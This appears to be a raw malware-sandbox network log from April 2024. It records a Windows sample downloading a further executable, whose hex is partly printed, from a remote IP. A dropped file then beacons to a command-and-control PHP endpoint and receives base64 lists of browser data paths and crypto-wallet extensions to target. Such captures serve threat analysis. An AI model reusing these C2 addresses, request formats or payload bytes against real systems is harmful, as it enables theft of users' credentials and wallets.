Apr 23, 2024 09:37:59.757427931 CEST	191	OUT	GET /ping.php?substr=five HTTP/1.1 Host: 185.172.128.228 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Apr 23, 2024 09:37:59.960088968 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 07:37:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	185.172.128.59	80	6984	C:\Users\user\Desktop\H6ohQMZygb.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 09:38:00.181932926 CEST	181	OUT	GET /syncUpd.exe HTTP/1.1 Host: 185.172.128.59 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Apr 23, 2024 09:38:00.387670994 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 07:38:00 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Tue, 23 Apr 2024 07:30:02 GMT ETag: "52200-616be85ac7fe9" Accept-Ranges: bytes Content-Length: 336384 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 05 86 02 15 41 e7 6c 46 41 e7 6c 46 41 e7 6c 46 4c b5 b3 46 59 e7 6c 46 4c b5 8c 46 39 e7 6c 46 4c b5 8d 46 6d e7 6c 46 48 9f ff 46 46 e7 6c 46 41 e7 6d 46 2f e7 6c 46 f4 79 89 46 40 e7 6c 46 4c b5 b7 46 40 e7 6c 46 f4 79 b2 46 40 e7 6c 46 52 69 63 68 41 e7 6c 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 82 38 12 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 de 00 00 00 66 c3 03 00 00 00 00 45 39 00 00 00 10 00 00 00 f0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 c4 03 00 04 00 00 b8 67 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 51 01 00 50 00 00 00 00 30 c2 03 d0 1d 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 47 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 8c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e3 dd 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 20 6b 00 00 00 f0 00 00 00 6c 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a0 c6 c0 03 00 60 01 00 00 b6 01 00 00 4e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 1d 02 00 00 30 c2 03 00 1e 02 00 00 04 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 b4 15 02 04 e8 2f 02 00 00 68 d9 ed Data Ascii: MZ@!L!This program cannot be run in DOS mode.$AlFAlFAlFLFYlFLF9lFLFmlFHFFlFAmF/lFyF@lFLF@lFyF@lFRichAlFPEL8efE9@PgQP08G@.text `.rdata kl@@.data`N@.rsrc0@@/h
Apr 23, 2024 09:38:00.387763977 CEST	1289	IN	Data Raw: 40 00 e8 ff 22 00 00 59 c3 b9 bc 15 02 04 e8 82 02 00 00 68 cf ed 40 00 e8 e9 22 00 00 59 c3 b9 a8 15 02 04 e8 d9 02 00 00 68 c5 ed 40 00 e8 d3 22 00 00 59 c3 6a 00 b9 b0 15 02 04 e8 cf 00 00 00 c3 6a 00 b9 a4 15 02 04 e8 c2 00 00 00 c3 6a 00 b9 Data Ascii: @"Yh@"Yh@"YjjjjUVEP$A^]$AfUVEtV"Y^]UE]UE8u3]P}Y]U}uE]]FU}
Apr 23, 2024 09:38:00.387801886 CEST	1289	IN	Data Raw: 53 8d 45 a8 50 53 ff 15 8c f0 40 00 53 53 53 53 ff 15 40 f0 40 00 8b 45 f0 8b 0d 98 15 02 04 2b f8 89 7d dc 83 f9 0c 75 07 53 ff 15 84 f0 40 00 8b c7 c1 e0 04 89 45 fc 8b 45 d4 01 45 fc 89 5d ec 8b 45 f8 01 45 ec 8b 45 dc 90 01 45 ec 8b 45 ec 89 Data Ascii: SEPS@SSSS@@E+}uS@EEE]EEEEEEMEEEEMU3E3U*E)EMt]UuE~_^[]V5W=tNu_^UQeEE]UQQhEAT
Apr 23, 2024 09:38:00.387839079 CEST	1289	IN	Data Raw: 3d 98 15 02 04 00 04 00 00 75 4f 57 57 57 ff 15 4c f0 40 00 57 57 57 57 ff 15 64 f0 40 00 57 ff 15 08 f0 40 00 57 57 57 57 ff 15 74 f0 40 00 57 57 57 57 ff 15 84 f1 40 00 57 e8 c6 15 00 00 57 e8 0b 1b 00 00 57 e8 7c 1b 00 00 57 e8 f3 18 00 00 57 Data Ascii: =uOWWWL@WWWWd@W@WWWWt@WWWW@WWW\|WW@8q Fr\|Wx@{+F\|@WD@W<@X~}5EzuFT\|\|A=u@Nu_3^]U
Apr 23, 2024 09:38:00.387876034 CEST	1289	IN	Data Raw: 0c 00 76 14 ff 75 0c 8b cf e8 07 ff ff ff 50 53 e8 a9 f1 ff ff 83 c4 0c 6a 00 6a 01 8b cf e8 a3 fc ff ff 8d 45 e8 8b cf 50 57 8d 45 ee 50 e8 02 fd ff ff 8b c8 e8 6c 00 00 00 ff 75 0c 8b cf 89 77 14 e8 e5 fd ff ff 8b 4d f4 5f 5e 64 89 0d 00 00 00 Data Ascii: vuPSjjEPWEPluwM_^d[]Mjj`jj>UuY]U]UM.]UVM/UP'^]3twQYuUVWM
Apr 23, 2024 09:38:00.387912035 CEST	1289	IN	Data Raw: f3 0f 7e 0e 83 e9 08 8d 76 08 66 0f d6 0f 8d 7f 08 8b 04 8d 78 25 40 00 ff e0 f7 c7 03 00 00 00 75 15 c1 e9 02 83 e2 03 83 f9 08 72 2a f3 a5 ff 24 95 78 25 40 00 90 8b c7 ba 03 00 00 00 83 e9 04 72 0c 83 e0 03 03 c8 ff 24 85 8c 24 40 00 ff 24 8d Data Ascii: ~vfx%@ur*$x%@r$$@$%@$%@$@$@$@#FGFGr$x%@I#FGr$x%@#r$x%@Io%@\%@T%@L%@D%@<%@
Apr 23, 2024 09:38:00.387953043 CEST	1289	IN	Data Raw: 00 eb 06 8b 47 04 89 46 04 5f 8b c6 5e 5d c2 04 00 55 8b ec 56 8b f1 c7 06 34 00 41 00 e8 52 00 00 00 f6 45 08 01 74 07 56 e8 e2 09 00 00 59 8b c6 5e 5d c2 04 00 55 8b ec 83 7d 08 00 53 8b d9 74 2d 57 ff 75 08 e8 db 06 00 00 8d 78 01 57 e8 ea 19 Data Ascii: GF_^]UV4AREtVY^]U}St-WuxWCYYtuWPiC_[]V~tveYfF^Au<AWVt$L$\|$;v;h%PCs3u%`
Apr 23, 2024 09:38:00.387990952 CEST	1289	IN	Data Raw: 40 00 8d 49 00 68 2e 40 00 70 2e 40 00 78 2e 40 00 80 2e 40 00 88 2e 40 00 90 2e 40 00 98 2e 40 00 ab 2e 40 00 8b 44 8e 1c 89 44 8f 1c 8b 44 8e 18 89 44 8f 18 8b 44 8e 14 89 44 8f 14 8b 44 8e 10 89 44 8f 10 8b 44 8e 0c 89 44 8f 0c 8b 44 8e 08 89 Data Ascii: @Ih.@p.@x.@.@.@.@.@.@DDDDDDDDDDDDDD$.@.@.@.@.@D$^_FGD$^_IFGFGD$^_FGFGFGD$^_$Wte$fof
Apr 23, 2024 09:38:00.388026953 CEST	1289	IN	Data Raw: fc ff ff 55 8b ec 6a 0a 6a 00 ff 75 08 e8 6e 21 00 00 83 c4 0c 5d c3 6a 10 68 88 4d 41 00 e8 11 12 00 00 83 cf ff 89 7d e4 33 c0 39 45 08 0f 95 c0 85 c0 75 18 e8 9e 0f 00 00 c7 00 16 00 00 00 e8 24 0f 00 00 8b c7 e8 2d 12 00 00 c3 e8 70 14 00 00 Data Ascii: Ujjun!]jhMA}39Eu$-p @@uYP"Y;ttpCXeA@$u;ttpCXeAB$u PjCYYe PEu1 PVju
Apr 23, 2024 09:38:00.388063908 CEST	1289	IN	Data Raw: d6 89 45 d8 ff 35 90 26 02 04 ff d6 8b 4d d8 39 4d e4 75 05 39 45 e0 74 ae 89 4d e4 8b d9 89 5d d4 89 45 e0 8b f8 eb 9c 68 e4 f1 40 00 68 d4 f1 40 00 e8 bb fe ff ff 59 59 68 ec f1 40 00 68 e8 f1 40 00 e8 aa fe ff ff 59 59 c7 45 fc fe ff ff ff e8 Data Ascii: E5&M9Mu9EtM]Eh@h@YYh@h@YYE }u)Cj'Yu\}tj'YUjju]Uul/YtugYt]jEE@PMh\|LAEE@P}@
Apr 23, 2024 09:38:00.593868971 CEST	1289	IN	Data Raw: ec 00 74 17 64 8b 1d 00 00 00 00 8b 03 8b 5d c8 89 03 64 89 1d 00 00 00 00 eb 09 8b 45 c8 64 a3 00 00 00 00 8b 45 fc 5b 8b e5 5d c3 55 8b ec 51 51 8b 45 08 53 8b 5d 0c 56 8b 70 0c 8b 48 10 89 4d f8 89 75 fc 57 8b fe 85 db 78 33 8b 55 10 83 fe ff Data Ascii: td]dEdE[]UQQES]VpHMuWx3Uu)*MUNk9T};T~u}KuyEF0E8E;xw;v)Mk_^[]UQSEEddE]mc[]UQQSVWd5uEd>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	185.172.128.76	80	7156	C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 09:38:02.366935015 CEST	417	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIIIJJKJKFHIDGDBAKJ Host: 185.172.128.76 Content-Length: 216 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 35 34 45 35 44 38 46 32 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 2d 2d 0d 0a Data Ascii: ------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="hwid"EA54E5D8F2F73897250831------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="build"default10------CFIIIJJKJKFHIDGDBAKJ--
Apr 23, 2024 09:38:02.752075911 CEST	347	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Vary: Accept-Encoding Data Raw: 4d 54 56 68 4f 47 45 77 4e 54 67 30 4e 6a 64 6d 5a 57 59 35 5a 44 67 35 5a 54 41 32 5a 54 64 6b 59 7a 51 79 5a 54 63 7a 4f 44 6b 31 4e 32 45 79 4d 57 46 6c 5a 44 67 32 59 6d 4d 31 5a 54 4a 6c 4d 54 4a 68 4e 7a 51 34 59 54 55 32 4f 57 4d 31 59 6d 51 33 59 54 59 7a 59 54 64 6c 4d 44 49 34 66 44 45 34 4d 54 67 78 4e 6a 5a 38 4e 54 45 35 4d 54 6b 78 4f 44 67 31 4c 6d 5a 70 62 47 56 38 4d 58 77 77 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 41 3d 3d Data Ascii: MTVhOGEwNTg0NjdmZWY5ZDg5ZTA2ZTdkYzQyZTczODk1N2EyMWFlZDg2YmM1ZTJlMTJhNzQ4YTU2OWM1YmQ3YTYzYTdlMDI4fDE4MTgxNjZ8NTE5MTkxODg1LmZpbGV8MXwwfDF8MXwxfDF8MXwxfA==
Apr 23, 2024 09:38:02.760155916 CEST	469	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKECFIIEHCFHIECAFBA Host: 185.172.128.76 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 61 38 61 30 35 38 34 36 37 66 65 66 39 64 38 39 65 30 36 65 37 64 63 34 32 65 37 33 38 39 35 37 61 32 31 61 65 64 38 36 62 63 35 65 32 65 31 32 61 37 34 38 61 35 36 39 63 35 62 64 37 61 36 33 61 37 65 30 32 38 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 2d 2d 0d 0a Data Ascii: ------FBKECFIIEHCFHIECAFBAContent-Disposition: form-data; name="token"15a8a058467fef9d89e06e7dc42e738957a21aed86bc5e2e12a748a569c5bd7a63a7e028------FBKECFIIEHCFHIECAFBAContent-Disposition: form-data; name="message"browsers------FBKECFIIEHCFHIECAFBA--
Apr 23, 2024 09:38:03.067513943 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1520 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 64 6d 6c 32 59 57 78 6b 61 53 35 6c 65 47 56 38 51 32 39 74 62 32 52 76 49 45 52 79 59 57 64 76 62 6e 78 63 51 32 39 74 62 32 52 76 58 45 52 79 59 57 64 76 62 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 52 58 42 70 59 31 42 79 61 58 5a 68 59 33 6c 43 63 6d 39 33 63 32 56 79 66 46 78 46 63 47 6c 6a 49 46 42 79 61 58 5a 68 59 33 6b 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 32 39 6a 51 32 39 6a 66 46 78 44 62 32 4e 44 62 32 4e 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 6e 4a 68 64 6d 56 38 58 45 4a 79 59 58 5a 6c 55 32 39 6d 64 48 64 68 63 6d 56 63 51 6e 4a 68 64 6d 55 74 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4a 79 59 58 5a 6c 4c 6d 56 34 5a 58 78 44 5a 57 35 30 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 77 33 55 33 52 68 63 6e 78 63 4e 31 4e 30 59 58 4a 63 4e 31 4e 30 59 58 4a 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 4e 6f 5a 57 52 76 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 61 47 56 6b 62 33 52 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 52 63 52 57 52 6e 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 31 7a 5a 57 52 6e 5a 53 35 6c 65 47 56 38 4d 7a 59 77 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 44 4d 32 4d 45 4a 79 62 33 64 7a 5a 58 4a 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 55 56 46 43 63 6d 39 33 63 32 56 79 66 46 78 55 5a 57 35 6a 5a 57 35 30 58 46 46 52 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb
Apr 23, 2024 09:38:03.067539930 CEST	427	IN	Data Raw: 32 31 6c 66 47 4a 79 62 33 64 7a 5a 58 49 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 Data Ascii: 21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQ
Apr 23, 2024 09:38:03.069124937 CEST	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIIIJJKJKFHIDGDBAKJ Host: 185.172.128.76 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 61 38 61 30 35 38 34 36 37 66 65 66 39 64 38 39 65 30 36 65 37 64 63 34 32 65 37 33 38 39 35 37 61 32 31 61 65 64 38 36 62 63 35 65 32 65 31 32 61 37 34 38 61 35 36 39 63 35 62 64 37 61 36 33 61 37 65 30 32 38 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 2d 2d 0d 0a Data Ascii: ------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="token"15a8a058467fef9d89e06e7dc42e738957a21aed86bc5e2e12a748a569c5bd7a63a7e028------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="message"plugins------CFIIIJJKJKFHIDGDBAKJ--
Apr 23, 2024 09:38:03.378644943 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5416 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d 5a 75 59 6d 56 73 5a 6d 52 76 5a 57 6c 76 61 47 56 75 61 32 70 70 59 6d 35 74 59 57 52 71 61 57 56 6f 61 6d 68 68 61 6d 4a 38 4d 58 77 77 66 44 42 38 51 32 39 70 62 6d 4a 68 63 32 55 67 56 32 46 73 62 47 56 30 49 47 56 34 64 47 56 75 63 32 6c 76 62 6e 78 6f 62 6d 5a 68 62 6d 74 75 62 32 4e 6d 5a 57 39 6d 59 6d 52 6b 5a 32 4e 70 61 6d 35 74 61 47 35 6d 62 6d 74 6b 62 6d 46 68 5a 48 77 78 66 44 42 38 4d 58 78 48 64 57 46 79 5a 47 46 38 61 48 42 6e 62 47 5a 6f 5a 32 5a 75 61 47 4a 6e 63 47 70 6b 5a 57 35 71 5a 32 31 6b 5a 32 39 6c 61 57 46 77 63 47 46 6d 62 47 35 38 4d 58 77 77 66 44 42 38 53 6d 46 34 65 43 42 4d 61 57 4a 6c 63 6e 52 35 66 47 4e 71 5a 57 78 6d 63 47 78 77 62 47 56 69 5a 47 70 71 5a 57 